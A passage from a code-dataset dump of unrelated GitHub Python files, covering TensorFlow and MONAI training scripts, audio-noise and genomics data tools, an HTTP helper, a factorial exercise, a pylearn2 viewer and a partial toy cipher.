for units in hidden_units:\n x = tf.keras.layers.Dense(units, activation='relu')(x)\n outputs = tf.keras.layers.Dense(1, activation='sigmoid')(x)\n\n model = tf.keras.Model(inputs, outputs)\n \n return model\n\n'''\n--------------------------------------------------------------------\nThe get_model constructor needs \nto know the shape of the input data (except the batch size).\n--------------------------------------------------------------------\n'''\ntrain_element_spec = train_data.element_spec\n\ninput_shape = train_element_spec[0]\noutput_shape = train_element_spec[1] # [0] is the batch size\n\ninput_dimension = input_shape.shape.dims[1]\n\nprint('(input_shape = {0}, output_shape = {1})\\n'.format(input_shape, output_shape))\n\nprint (\n '------------------------------------------------------------------------------------------------------\\n'\n ' Training, evaluation, and prediction \\n'\n '------------------------------------------------------------------------------------------------------\\n'\n )\nmodel = get_model(input_dimension)\nmodel.compile(\n loss='binary_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\nmodel.fit(train_data, epochs=20)\n\n# Once you have trained your model, you can check the accuracy rate on the test_data dataset.\ntest_loss, test_accuracy = model.evaluate(test_data)\n\nprint('\\n\\nTest Loss {0}, Test Accuracy {1}\\n'.format(test_loss, test_accuracy))\n\n# Use tf.keras.Model.predict to infer the labels of a single batch or a dataset consisting of batches.\npredictions = model.predict(test_data)\n\n# View some of the results.\nfor prediction, survived in zip(predictions[:10], list(test_data)[0][1][:10]):\n print(\"Predicted survival: {:.2%}\".format(prediction[0]),\n \" | Actual outcome: \",\n (\"SURVIVED\" if bool(survived) else \"DIED\"))\n\n\ndata_today = datetime.date.today()\n\nprint (\n '------------------------------------------------------------------------------------------------------\\n'\n )\n\nprint(\n ' finished datasets_csv.py ({0}) \\n'.format(data_today)\n )\n\nprint (\n '------------------------------------------------------------------------------------------------------\\n'\n )\nprint()\nprint()\nprint()","repo_name":"munezou/VsCodeProject","sub_path":"Python/Normal/tensorflow/datasets_csv.py","file_name":"datasets_csv.py","file_ext":"py","file_size_in_byte":13501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"237517628","text":"class SectionQuestion:\n\n def __init__(self, section, name, questions):\n self.section = section\n self.name = name\n self.questions = questions\n\n def build(self):\n response = {\n 'name': self.name,\n 'section': self.section,\n 'questions': self.questions\n }\n return response","repo_name":"rafael1996-git/upaxer-ws-cites-drake-pythom","sub_path":"upax/model/SectionQuestion.py","file_name":"SectionQuestion.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"22679248817","text":"import sys\nimport numpy as np\nimport soundfile\n\ndef get_noise_info(noise_scp, noise_db_range):\n noises = []\n with open(noise_scp, \"r\", encoding=\"utf-8\") as f:\n for line in f:\n sps = line.strip().split(None, 1)\n if len(sps) == 1:\n noises.append(sps[0])\n else:\n noises.append(sps[1])\n sps = noise_db_range.split(\"_\")\n if len(sps) == 1:\n noise_db_low, noise_db_high = float(sps[0])\n elif len(sps) == 2:\n noise_db_low, noise_db_high = float(sps[0]), float(sps[1])\n else:\n raise ValueError(\"Format error: '{noise_db_range}' e.g. -3_4 -> [-3db,4db]\")\n\n return noises, noise_db_low, noise_db_high\n\ndef write_to_scp(speech_scp, noises, noise_db_low, noise_db_high):\n with open(speech_scp, \"r\") as speech_scp_f:\n for line in speech_scp_f.readlines():\n if 0.875 < np.random.random():\n continue\n noise_path = np.random.choice(noises)\n noise_db = np.random.uniform(noise_db_low, noise_db_high)\n speech, _ = soundfile.read(line.split()[-1].strip(), always_2d=False)\n nsamples = len(speech)\n with soundfile.SoundFile(noise_path) as f:\n if f.frames == nsamples:\n offset = 0\n elif f.frames < nsamples:\n offset = np.random.randint(0, nsamples - f.frames)\n else:\n offset = np.random.randint(0, f.frames - nsamples)\n assert (f.frames - offset) >= nsamples\n\n print(line.split()[0].strip(), noise_path, noise_db, offset)\n\nif __name__ == \"__main__\":\n noise_scp = sys.argv[1].strip()\n speech_scp = sys.argv[2].strip()\n noise_db_range = \"0_25\"\n noises, noise_db_low, noise_db_high = get_noise_info(noise_scp, noise_db_range)\n write_to_scp(speech_scp, noises, noise_db_low, noise_db_high)\n\n","repo_name":"nullscc/espnet","sub_path":"egs2/librispeech_100/asr1/gen_noise_map.py","file_name":"gen_noise_map.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"74370322087","text":" #!/usr/bin/python\n\nimport pysam,gzip,csv\nfrom optparse import OptionParser\nimport subprocess\n# python scripts/weigthedES_byGP.py -a paneldir/\n\nparser = OptionParser(\"$prog [options]\")\nparser.add_option(\"-v\", \"--vcffile\", dest=\"vcffile\", help=\"Input VCF file\", default=None, type=\"string\"),\nparser.add_option(\"-o\", \"--outfile\", dest=\"outfile\", help=\"Output file (def None)\", default=None, type=\"string\")\nparser.add_option(\"-p\", \"--outfile2\", dest=\"outfile2\", help=\"Output file 2 for prsice(def None)\", default=None, type=\"string\")\nparser.add_option(\"-g\", \"--gwasfile\", dest=\"gwasfile\", help=\"GWAS file\", default=None, type=\"string\")\n(options,args) = parser.parse_args()\n\n# Read vcf and ancestral state files\nvcffile = pysam.Tabixfile(options.vcffile,mode='r')\n\n# Open output file\noutfile = open(options.outfile,\"w\")\noutfile2 = open(options.outfile2,\"w\")\n\n# Record population panels\nfor line in vcffile.header:\n if \"#CHROM\" in line:\n popordered = line.split(\"\\t\")[9:]\n\n# Print header\nheader = \"#CHROM\\tPOS\\tSNPID\\tREF\\tALT\\tALTEFFECT\\tSE\\tPVAL\\t\"\noutfile2.write(''.join(header) + '\\n')\n\nheader += \"\\t\".join(popordered)\noutfile.write(''.join(header) + '\\n')\n\n\n# Read files\nwith gzip.open(options.gwasfile, mode=\"rt\") as tsvfile:\n reader = csv.DictReader(tsvfile, dialect='excel-tab')\n for row in reader:\n info = row['variant']\n infofields = info.strip(\"\\n\").split(\":\")\n chrom = infofields[0]\n pos = infofields[1]\n gref = infofields[2]\n galt = infofields[3]\n effect = row['beta']\n se = row['se']\n pval = row['pval']\n mAF = float(row['minor_AF'])\n lowcon = row['low_confidence_variant']\n if lowcon == 'true' or mAF <= 0.01: continue \n prevpos = int(pos) - 1\n try:\n vcfline = vcffile.fetch(str(chrom), int(prevpos), int(pos))\n except:\n continue\n nelem=\"NA\"\n for sub in vcfline:\n nelem = sub\n if nelem == \"NA\":\n continue\n fields = nelem.strip(\"\\n\").split(\"\\t\")\n snpid = fields[2]\n ref = fields[3]\n alt = fields[4]\n freqs = []\n for x in fields[9:]:\n gt = x.split(\":\")[0]\n altfreq = (float(gt.split(\"|\")[0]) + float(gt.split(\"|\")[1]))/2\n freqs.append(str(altfreq))\n finalvec = [chrom, str(pos), snpid, ref, alt, str(effect), str(se), str(pval)] + freqs\n finalvecS = [chrom, str(pos), snpid, ref, alt, str(effect), str(se), str(pval)]\n\n outfile.write(\"\\t\".join(finalvec) + '\\n')\n outfile2.write(\"\\t\".join(finalvecS) + '\\n')\n\noutfile.close()\noutfile2.close()\n\n\n\n\n\n","repo_name":"albarema/osteo_ancient","sub_path":"scripts/calc_alt.freqs.py","file_name":"calc_alt.freqs.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"31832248130","text":"# -*- coding: utf-8 -*-\n\ncaption = 'unettrial1'\ntrial = 'ur1'\ndataset = 'OpenKBP-BSMPP-3D'\narchitecture = \"unetr\"\nencoder_name= \"efficientnet-b4\" #only for unet2D eg. #resnet34 #efficientnet-b4\nepoch_num = 5\ndiceCE = True\nwdice, wce = 0.3, 0.7\nserver = True\ndilation = 3 #only for dilated models\ncyclictype = 'exp_range' #triangular,triangular2,exp_range\n#train_rt, val_rt, test_rt = 0.30, 0.10, 0.10\ntrain_rt, val_rt, test_rt = 0.70, 0.15, 0.15\n\nimport time\nfrom datetime import datetime\nimport gc\nimport warnings\nimport numpy as np\nimport os\nimport pickle\nimport glob\nimport torch\nimport torch.nn as nn\nimport pandas as pd\nfrom monai.apps import download_and_extract\nfrom monai.config import print_config\nfrom monai.data import CacheDataset, DataLoader, Dataset, decollate_batch\nfrom monai.inferers import sliding_window_inference\nfrom monai.losses import DiceLoss, DiceCELoss\nfrom monai.metrics import DiceMetric, compute_meandice, compute_hausdorff_distance, HausdorffDistanceMetric\nfrom monai.utils import first, set_determinism\nimport segmentation_models_pytorch as smp\nfrom monai.metrics.utils import do_metric_reduction, ignore_background\nfrom monai.transforms import (\n AsDiscrete,\n Compose,\n EnsureType,\n Activations,\n)\nimport functions\nimport models\nimport loaddata\nimport transforms\nfrom torch.optim.lr_scheduler import CyclicLR\nfrom tqdm import tqdm\n\nprint_config()\ntorch.cuda.empty_cache()\n\ndatasets = ['NSCLC-LLS-2D','NSCLC-LLS-3D','OpenKBP-BSMPP-2D','OpenKBP-BSMPP-3D','PDDCA-BCOOPP-3D','PDDCA-BCOOPP-2D','OH-LLG-3D','OH-LLG-2D','OHC-LLG-3D','OHC-LLG-2D','OHC-G-3D']\narchitectures = ['unet2D','monaiunet2D','monaiunet3D','unet++', 'dilatedmonaiunet2D', 'dynunet2D', 'dynunet3D','unetr']\n\nlossfunc = functions.get_loss_func(diceCE)\nlabel_names, numberofclasses = functions.get_classes(dataset) \ndimension,batchsize = functions.get_dimension_and_bs(dataset)\ndice_roi,aug_roi = functions.get_rois(dataset, architecture)\n\ndatasetID = datasets.index(dataset)\narchitectureID = architectures.index(architecture)\ntrial_name = f\"{trial}_{architectureID}_{datasetID}\"\n\nif server:\n root_dir = '/home/ilkin/FDOH'\n data_dir = os.path.join(\"/home/ilkin/data\", dataset)\nelse:\n root_dir = '/home/ilkinisler/Documents/FDOH'\n data_dir = os.path.join(\"/home/ilkinisler/Documents/data\", dataset)\nmodel_dir = os.path.join(root_dir, \"models\")\ntest_dir = os.path.join(root_dir, \"tests\", architecture, dataset, trial_name)\n\nloss_metric_path = os.path.join(test_dir, f\"{trial}_loss_dice.png\")\nclass_dice_path = os.path.join(test_dir, f\"{trial}_class_dice.png\")\nclass_hd_path = os.path.join(test_dir, f\"{trial}_class_hd.png\")\n\nbest_metric_model_path = os.path.join(model_dir, f\"{trial_name}_best_model.pth\")\n\nif not os.path.isdir(model_dir):\n os.mkdir(model_dir)\nif not os.path.isdir(os.path.join(root_dir, \"tests\", architecture, dataset)):\n os.mkdir(os.path.join(root_dir, \"tests\", architecture, dataset))\nif not os.path.isdir(test_dir):\n os.mkdir(test_dir)\n\nnow = datetime.now()\ndt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\nlogFile = open(os.path.join(test_dir, f\"{trial_name}_train_out.txt\"), \"w\")\nlogFile.write(f\"Date & time: {dt_string} \\n\"\n f\"Caption: {caption} \\n\"\n f\"Trial number: {trial} \\n\"\n f\"Architecture: {architecture} \\n\"\n f\"Encoder: {encoder_name} \\n\"\n f\"Dataset: {dataset} \\n\"\n f\"Trial code: {trial_name} \\n\"\n f\"Batch size: {batchsize}\\n\"\n f\"Loss function: {lossfunc} ({wdice}-{wce})\\n\"\n f\"CcylicLR: {cyclictype}\\n\")\n\ntrain_files, val_files, test_files, eval_files = loaddata.get_train_val_files(dataset, data_dir, train_rt, val_rt, test_rt, logFile, test_dir, server)\n\nset_determinism(seed=0)\n\ntrain_transforms = transforms.getTrainTransform(dimension,aug_roi)\nval_transforms = transforms.getValTransform()\n\ntrain_ds = CacheDataset(data=train_files, transform=train_transforms, cache_rate=0.1, num_workers=4)\ntrain_loader = DataLoader(train_ds, batch_size=batchsize, shuffle=True, num_workers=4)\n\nval_ds = CacheDataset(data=val_files, transform=val_transforms, cache_rate=0.1, num_workers=4)\nval_loader = DataLoader(val_ds, batch_size=1, num_workers=4)\n\ntest_transforms = transforms.getValTransform()\n\ntest_ds = CacheDataset(data=test_files, transform=test_transforms, cache_rate=0.1, num_workers=4)\ntest_loader = DataLoader(test_ds, batch_size=1, num_workers=4)\n\neval_ds = CacheDataset(data=eval_files, transform=test_transforms, cache_rate=0.1, num_workers=4)\neval_loader = DataLoader(eval_ds, batch_size=1, num_workers=4)\n\ndevice = torch.device(\"cuda\")\n\nif architecture=='unet2D':\n model = models.unet2D(encoder_name, numberofclasses+1)\nif architecture=='unet++':\n model = models.unetplusplus(encoder_name, numberofclasses+1)\nif architecture in ['monaiunet2D','monaiunet3D']:\n model = models.monaiunet(dimension, numberofclasses+1)\nif architecture in ['dynunet2D','dynunet3D']:\n model = models.dynunet(dimension, numberofclasses+1)\nif architecture in ['dilatedmonaiunet2D']:\n model = models.dilatedmonaiunet(dimension, numberofclasses+1, dilation)\nif architecture=='unetr':\n model = models.unetr(numberofclasses+1, aug_roi)\n\nif server:\n model = nn.DataParallel(model)\n\nmodel.to(device)\n\nif diceCE:\n loss_function = DiceCELoss(to_onehot_y=True, softmax=True, lambda_dice=0.4, lambda_ce=0.6)\nelse:\n loss_function = DiceLoss(to_onehot_y=True, softmax=True)\noptimizer = torch.optim.Adam(model.parameters(), 1e-5)\nscheduler = CyclicLR(optimizer, mode=cyclictype, max_lr=0.003, base_lr=0.0005, cycle_momentum=False)\nwarnings.filterwarnings('ignore')\n\npost_pred = AsDiscrete(argmax=True, to_onehot=numberofclasses+1)\npost_label = AsDiscrete(to_onehot=numberofclasses+1)\n\nbest_metric = -1\nbest_metric_epoch = -1\nbest_metrics_epochs_and_time = [[], [], []]\nepoch_loss_values = []\nmetric_values = []\nmetric_values_cb = [[] for i in range(numberofclasses)]\n\ndef validation(epoch_iterator_val):\n model.eval()\n with torch.no_grad():\n for step, batch in enumerate(epoch_iterator_val):\n val_inputs, val_labels = (batch[\"image\"].cuda(), batch[\"mask\"].cuda())\n val_outputs = sliding_window_inference(val_inputs, aug_roi, 4, model)\n val_labels_list = decollate_batch(val_labels)\n val_labels_convert = [\n post_label(val_label_tensor) for val_label_tensor in val_labels_list\n ]\n val_outputs_list = decollate_batch(val_outputs)\n val_output_convert = [\n post_pred(val_pred_tensor) for val_pred_tensor in val_outputs_list\n ]\n dice_metric(y_pred=val_output_convert, y=val_labels_convert)\n epoch_iterator_val.set_description(\n \"Validate (%d / %d Steps)\" % (global_step, 10.0)\n )\n mean_dice_val = dice_metric.aggregate().item()\n dice_metric.reset()\n\n return mean_dice_val\n\n\ndef train(global_step, train_loader, dice_val_best, global_step_best):\n model.train()\n epoch_loss = 0\n step = 0\n epoch_iterator = tqdm(\n train_loader, desc=\"Training (X / X Steps) (loss=X.X)\", dynamic_ncols=True\n )\n for step, batch in enumerate(epoch_iterator):\n step += 1\n x, y = (batch[\"image\"].cuda(), batch[\"mask\"].cuda())\n logit_map = model(x)\n loss = loss_function(logit_map, y)\n loss.backward()\n epoch_loss += loss.item()\n optimizer.step()\n optimizer.zero_grad()\n epoch_iterator.set_description(\n \"Training (%d / %d Steps) (loss=%2.5f)\" % (global_step, max_iterations, loss)\n )\n if (\n global_step % eval_num == 0 and global_step != 0\n ) or global_step == max_iterations:\n epoch_iterator_val = tqdm(\n val_loader, desc=\"Validate (X / X Steps) (dice=X.X)\", dynamic_ncols=True\n )\n dice_val = validation(epoch_iterator_val)\n epoch_loss /= step\n epoch_loss_values.append(epoch_loss)\n metric_values.append(dice_val)\n \n statedict = model.state_dict()\n \n if dice_val > dice_val_best:\n dice_val_best = dice_val\n global_step_best = global_step\n torch.save(statedict, best_metric_model_path) \n print(\n \"Model Was Saved ! Current Best Avg. Dice: {} Current Avg. Dice: {}\".format(\n dice_val_best, dice_val\n )\n )\n else:\n print(\n \"Model Was Not Saved ! Current Best Avg. Dice: {} Current Avg. Dice: {}\".format(\n dice_val_best, dice_val\n )\n )\n global_step += 1\n return global_step, dice_val_best, global_step_best\n\n\nmax_iterations = 20000\neval_num = 400\npost_label = AsDiscrete(to_onehot=numberofclasses+1)\npost_pred = AsDiscrete(argmax=True, to_onehot=numberofclasses+1)\ndice_metric = DiceMetric(include_background=False, reduction=\"mean\", get_not_nans=False)\ndice_metric_batch = DiceMetric(include_background=False, reduction=\"mean_batch\")\nglobal_step = 0\ndice_val_best = 0.0\nglobal_step_best = 0\nepoch_loss_values = []\nmetric_values = []\nt0 = time.time()\nwhile global_step < max_iterations:\n global_step, dice_val_best, global_step_best = train(\n global_step, train_loader, dice_val_best, global_step_best\n )\nt1 = time.time()\n\nlogFile.write(f\"Max iterations: {max_iterations} Eval number: {eval_num}\\n\")\n\nmodel_results = (f\"\\nTrain completed: \\nBest_metric: {dice_val_best:.4f} \"\n f\"at iteration: {global_step_best}\\ntime: {((t1-t0)/60):.4f}\")\n\nprint(model_results)\nlogFile.write(f\"{model_results}\\n\")\n\nmodel.load_state_dict(torch.load(best_metric_model_path))\n\nmodel.eval()\n\nfunctions.avg_loss_metric_graph(epoch_loss_values, metric_values, eval_num, loss_metric_path)\n\nsaved_metrics = {'max_iterations':max_iterations,'metric_values':metric_values, 'epoch_loss_values':epoch_loss_values}\nobject = saved_metrics \nfilehandler = open(os.path.join(root_dir, \"tests\", f\"{architecture}/{dataset}/{trial}_{architectureID}_{datasetID}/{trial}_saved_metrics_{epoch_num}_epochs.obj\"), 'wb') \npickle.dump(object, filehandler)\n\nmeandice = np.zeros([numberofclasses+1])\nk = 0\nfor i, test_data in enumerate(test_loader):\n test_inputs, test_labels = (\n test_data[\"image\"].to(device),\n test_data[\"mask\"].to(device),\n )\n meandice += functions.calculate_dice(test_inputs,test_labels,aug_roi,model)\n k += 1\nprint(k, \"test images\")\nmeandice = meandice/k\ntest_results = (f\"\\nTest completed: \\nBest metrics: {np.array2string(meandice)} \\nBest mean metric: {(np.nanmean(meandice)):.4f}\")\n\nprint(test_results)\nlogFile.write(f\"{test_results}\\n\")\n\nfunctions.save_evaluation_results(dataset, test_loader, model, test_dir, trial, device, eval_files, aug_roi)\n\nlogFile.close() \n","repo_name":"ilkinisler/Enhancing-organ-at-risk-segmentation-with-improved-deep-neural-networks","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":10906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"10603101651","text":"from urllib.error import HTTPError\r\nimport aiohttp \r\nimport json \r\nimport requests\r\nimport asyncio \r\nfrom collections import OrderedDict\r\nfrom io import BytesIO\r\n\r\ndef raise_error(url, code, errors):\r\n\ttemplate = errors.get(code, errors.get(\"default\", \"Http request failed with a {} error\"))\r\n\tif code == 404:\r\n\t\traise Http404Error(template)\r\n\telse:\r\n\t\traise HttpError(template, code)\r\n\r\nclass HttpGetter:\r\n\tdef __init__(self):\r\n\t\tself.loop = asyncio.get_event_loop()\r\n\t\tself.session = aiohttp.ClientSession(loop=self.loop)\r\n\r\n\tasync def get(self, url, return_type=\"json\", headers=None):\r\n\r\n\t\tasync with self.session.get(url, timeout=60) as r:\r\n\t\t\tif r.status == 200:\r\n\t\t\t\tif return_type == \"json\":\r\n\t\t\t\t return json.loads(await r.text(), object_pairs_hook=OrderedDict)\r\n\t\t\t\telif return_type == \"text\":\r\n\t\t\t\t return await r.text()\r\n\t\t\t\telif return_type == \"bytes\":\r\n\t\t\t\t return BytesIO(await r.read())\r\n\t\t\t\telse:\r\n raise ValueError(f\"Invalid return type '{return_type}'\")\r\n\t\t\telse:\r\n\t\t\t\traise ValueError(url)\r\n\r\n\r\n\tasync def post(self, url, return_type=\"json\", body={}, headers={}):\r\n\t\tasync with self.session.post(url, json=body, headers=headers) as r:\r\n\t\t\tif r.status == 200:\r\n\t\t\t\tif return_type == \"json\":\r\n\t\t\t\t\treturn json.loads(await r.text(), object_pairs_hook=OrderedDict)\r\n\t\t\t\telif return_type == \"text\":\r\n\t\t\t\t\treturn await r.text()\r\n\t\t\t\telif return_type == \"bytes\":\r\n\t\t\t\t\treturn BytesIO(await r.read())\r\n\t\t\t\telse:\r\n\t\t\t\t\traise ValueError(f\"Invalid return type '{return_type}'\")\r\n\t\t\telse:\r\n\t\t\t\traise ValueError(url)\r\n\r\n \r\n\r\n","repo_name":"jamiedonnelly/DotaBet","sub_path":"DotaBot/modules/httpgetter.py","file_name":"httpgetter.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"28217073695","text":"def factorial(x):\n factorial = 1\n if x == 0 or x == 1:\n return factorial\n if x < 0:\n return 'There is no'\n for i in range(x):\n factorial *= i + 1\n return factorial\n\n\nnumber = int(input('Please enter a number: '))\nprint(f'Factorial your number is {factorial(number)}.')\n","repo_name":"Lekuro/python_core","sub_path":"HomeWork4/1_factorial.py","file_name":"1_factorial.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"5651987182","text":"#!/usr/bin/env python\n\"\"\"\nUsage: python show_reconstructions \nDisplays a batch of data from the DBM's training set.\nThen shows how the DBM reconstructs it if you run mean field\nto estimate the hidden units, then do one mean field downward\npass from hidden_layers[0] to the visible layer.\n\"\"\"\n\nfrom __future__ import print_function\n\n__authors__ = \"Ian Goodfellow\"\n__copyright__ = \"Copyright 2012, Universite de Montreal\"\n__credits__ = [\"Ian Goodfellow\"]\n__license__ = \"3-clause BSD\"\n__maintainer__ = \"LISA Lab\"\n\nimport sys\nfrom pylearn2.config import yaml_parse\nfrom pylearn2.gui.patch_viewer import PatchViewer\nfrom pylearn2.utils import serial\nfrom theano.compat.six.moves import input, xrange\nfrom theano import function\n\n\ndef init_viewer(dataset, rows, cols, vis_batch):\n \"\"\"\n Initialisation of the PatchViewer with given rows and columns.\n\n Parameters\n ----------\n dataset: pylearn2 dataset\n rows: int\n cols: int\n vis_batch: numpy array\n \"\"\"\n m = rows * cols\n _, patch_rows, patch_cols, channels = vis_batch.shape\n\n assert _ == m\n\n mapback = hasattr(dataset, 'mapback_for_viewer')\n actual_cols = 2 * cols * (1 + mapback) * (1 + (channels == 2))\n pv = PatchViewer((rows, actual_cols),\n (patch_rows, patch_cols),\n is_color=(channels == 3))\n return pv\n\n\ndef get_mapped_batch(dataset, design_batch):\n \"\"\"\n Get mapped batch if 'mapback_for_viewer' is available with the dataset.\n\n Parameters\n ----------\n dataset: pylearn2 dataset\n design_batch: numpy array\n \"\"\"\n if design_batch.ndim != 2:\n design_batch = dataset.get_design_matrix(design_batch.copy())\n mapped_design = dataset.mapback(design_batch.copy())\n mapped_batch = dataset.get_topological_view(mapped_design.copy())\n\n return mapped_batch\n\n\ndef update_viewer(dataset, batch, rows, cols, pv, recons_func, vis_batch):\n \"\"\"\n Function to update the viewer with a new visible batch.\n\n Parameters\n ----------\n dataset: pylearn2 dataset\n batch: numpy array\n rows: int\n cols: int\n pv: PatchViewer\n recons_func: theano function\n vis_batch: numpy array\n \"\"\"\n mapback = hasattr(dataset, 'mapback_for_viewer')\n topo = batch.ndim > 2\n\n ipt = vis_batch.copy()\n if not topo:\n ipt = dataset.get_design_matrix(ipt)\n recons_batch = recons_func(ipt.astype(batch.dtype))\n if not topo:\n recons_batch = dataset.get_topological_view(recons_batch)\n if mapback:\n mapped_batch = get_mapped_batch(dataset, vis_batch)\n mapped_r_batch = get_mapped_batch(dataset, recons_batch.copy())\n for row in xrange(rows):\n row_start = cols * row\n for j in xrange(cols):\n vis_patch = vis_batch[row_start+j, :, :, :].copy()\n adjusted_vis_patch = dataset.adjust_for_viewer(vis_patch)\n if vis_patch.shape[-1] == 2:\n pv.add_patch(adjusted_vis_patch[:, :, 1],\n rescale=False)\n pv.add_patch(adjusted_vis_patch[:, :, 0],\n rescale=False)\n else:\n pv.add_patch(adjusted_vis_patch, rescale=False)\n\n if mapback:\n pv.add_patch(\n dataset.adjust_for_viewer(\n mapped_batch[row_start+j, :, :, :].copy()),\n rescale=False)\n pv.add_patch(\n dataset.adjust_to_be_viewed_with(\n mapped_r_batch[row_start+j, :, :, :].copy(),\n mapped_batch[row_start+j, :, :, :].copy()),\n rescale=False)\n if recons_batch.shape[-1] == 2:\n pv.add_patch(\n dataset.adjust_to_be_viewed_with(\n recons_batch[row_start+j, :, :, 1].copy(), vis_patch),\n rescale=False)\n pv.add_patch(\n dataset.adjust_to_be_viewed_with(\n recons_batch[row_start+j, :, :, 0].copy(), vis_patch),\n rescale=False)\n else:\n pv.add_patch(\n dataset.adjust_to_be_viewed_with(\n recons_batch[row_start+j, :, :, :].copy(), vis_patch),\n rescale=False)\n\n\ndef load_model(model_path, m):\n \"\"\"\n Load given model.\n\n Parameters\n ----------\n model_path: str\n Path of the model to load.\n m: int\n Size of the batch.\n \"\"\"\n print('Loading model...')\n model = serial.load(model_path)\n model.set_batch_size(m)\n\n return model\n\n\ndef load_dataset(dataset_yml, use_test_set):\n \"\"\"\n Load the dataset used by the model.\n\n Parameters\n ----------\n dataset_yml: str\n Yaml description of the dataset.\n \"\"\"\n\n print('Loading data...')\n dataset = yaml_parse.load(dataset_yml)\n\n if use_test_set == 'y':\n dataset = dataset.get_test_set()\n else:\n assert use_test_set == 'n'\n\n return dataset\n\n\ndef show_reconstructions(m, model_path):\n \"\"\"\n Show reconstructions of a given DBM model.\n\n Parameters\n ----------\n m: int\n rows * cols\n model_path: str\n Path of the model.\n \"\"\"\n model = load_model(model_path, m)\n\n x = input('use test set? (y/n) ')\n dataset = load_dataset(model.dataset_yaml_src, x)\n vis_batch = dataset.get_batch_topo(m)\n pv = init_viewer(dataset, rows, cols, vis_batch)\n\n batch = model.visible_layer.space.make_theano_batch()\n reconstruction = model.reconstruct(batch)\n recons_func = function([batch], reconstruction)\n\n if hasattr(model.visible_layer, 'beta'):\n beta = model.visible_layer.beta.get_value()\n print('beta: ', (beta.min(), beta.mean(), beta.max()))\n\n while True:\n update_viewer(dataset, batch, rows, cols, pv, recons_func, vis_batch)\n pv.show()\n print('Displaying reconstructions. (q to quit, ENTER = show more)')\n while True:\n x = input()\n if x == 'q':\n quit()\n if x == '':\n x = 1\n break\n else:\n print('Invalid input, try again')\n\n vis_batch = dataset.get_batch_topo(m)\n\n\nif __name__ == '__main__':\n rows = 5\n cols = 10\n m = rows * cols\n _, model_path = sys.argv\n\n show_reconstructions(m, model_path)\n","repo_name":"lisa-lab/pylearn2","sub_path":"pylearn2/scripts/dbm/show_reconstructions.py","file_name":"show_reconstructions.py","file_ext":"py","file_size_in_byte":6398,"program_lang":"python","lang":"en","doc_type":"code","stars":2743,"dataset":"github-code","pt":"53"} +{"seq_id":"19527722714","text":"\"\"\"\nUtility module that gathers all the miscellaneous general function\n\"\"\"\n\nimport datetime as dt\nimport os\nimport uuid\nimport logging\nimport sys\nimport importlib\nfrom pathlib import Path\nfrom .file_system_handler import FileSystemHandler\n\n\ndef init_logger(logger_file_name):\n log_format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n log_file_path = f'./brainstreamer/data/debug_logs/{logger_file_name}_log.txt'\n FileSystemHandler.safe_create_dir(\"./brainstreamer/data/debug_logs\")\n if os.path.isfile(log_file_path):\n FileSystemHandler.save(log_file_path, \"\")\n logging.basicConfig(filename=log_file_path, level=logging.DEBUG,\n format=log_format,\n datefmt='%m/%d/%Y %H:%M:%S', filemode='w')\n logging.getLogger(\"pika\").setLevel(logging.WARNING)\n logging.getLogger(\"werkzeug\").setLevel(logging.WARNING)\n logging.getLogger(\"urllib3\").setLevel(logging.WARNING)\n\n\ndef epoch_to_date(time_passed, date_format=\"%d/%m/%Y, %H:%M:%S:%f\", milisecs=False):\n # converts provided time (in seconds/milliseconds) to a date in the given format\n seconds = time_passed / 1000 if milisecs else time_passed\n datetime = dt.datetime.fromtimestamp(seconds).strftime(date_format)\n return datetime\n\n\ndef get_unique_id():\n return str(uuid.uuid4())\n\n\ndef load_drivers(drivers_path, driver_type):\n \"\"\"\n This function loads all drivers (python modules) that are located in the provided folder\n :param drivers_path: string, a path for the directory of the drivers\n :param driver_type: string from the set: {\"function\", \"class\"}\n :return: dictionary of {\"name: driver\"}\n \"\"\"\n loaded_modules = set()\n drivers = {}\n\n # Add absolute path to sys for module importing\n root = Path(drivers_path).absolute()\n sys.path.insert(0, str(root.parent))\n\n # go through every file in the drivers' dir and check if it good for importing as a module\n for file in root.iterdir():\n if file.suffix == '.py' and not file.name.startswith('_'):\n module = importlib.import_module(f'{root.name}.{file.stem}', package=root.name)\n loaded_modules.add(module)\n\n # for ever class/function in the module, search for drivers with \"scheme\" attr and add them to the drivers dict\n for module in loaded_modules:\n if driver_type == \"class\":\n for key, cls in module.__dict__.items():\n if isinstance(cls, type) and hasattr(cls, \"scheme\"):\n drivers[cls.scheme] = cls\n\n elif driver_type == \"function\":\n for key, func in module.__dict__.items():\n if callable(func) and hasattr(func, \"scheme\"):\n drivers[func.scheme] = func\n\n else:\n raise ValueError(f\"Unsupported driver type: {driver_type}\")\n\n return drivers\n","repo_name":"AllenChikman/brainstreamer","sub_path":"brainstreamer/utils/my_util_functions.py","file_name":"my_util_functions.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"1119555109","text":"from json import load\n\ndef f_encrypt(oW,nW,rtry):\n own,nwn=int(rtry[0][rtry[1].index(oW)]),int(rtry[0][rtry[1].index(nW)])\n if own>nwn: chc=94-own+nwn\n else: chc=nwn-own\n return rtry[1][chc-1]\n\ndef f_decrypt(oW,nW,rtry):\n own,nwn=int(rtry[0][rtry[1].index(oW)]),int(rtry[0][rtry[1].index(nW)])\n if own+nwn>94: chc=own+nwn-94\n else: chc=nwn+own\n return rtry[1][chc-1]\n\ndef axen_algorithm(text,keyNumber):\n a,rtry,final=keyComplier(keyNumber)[1],keyComplier(keyNumber)[0],''\n 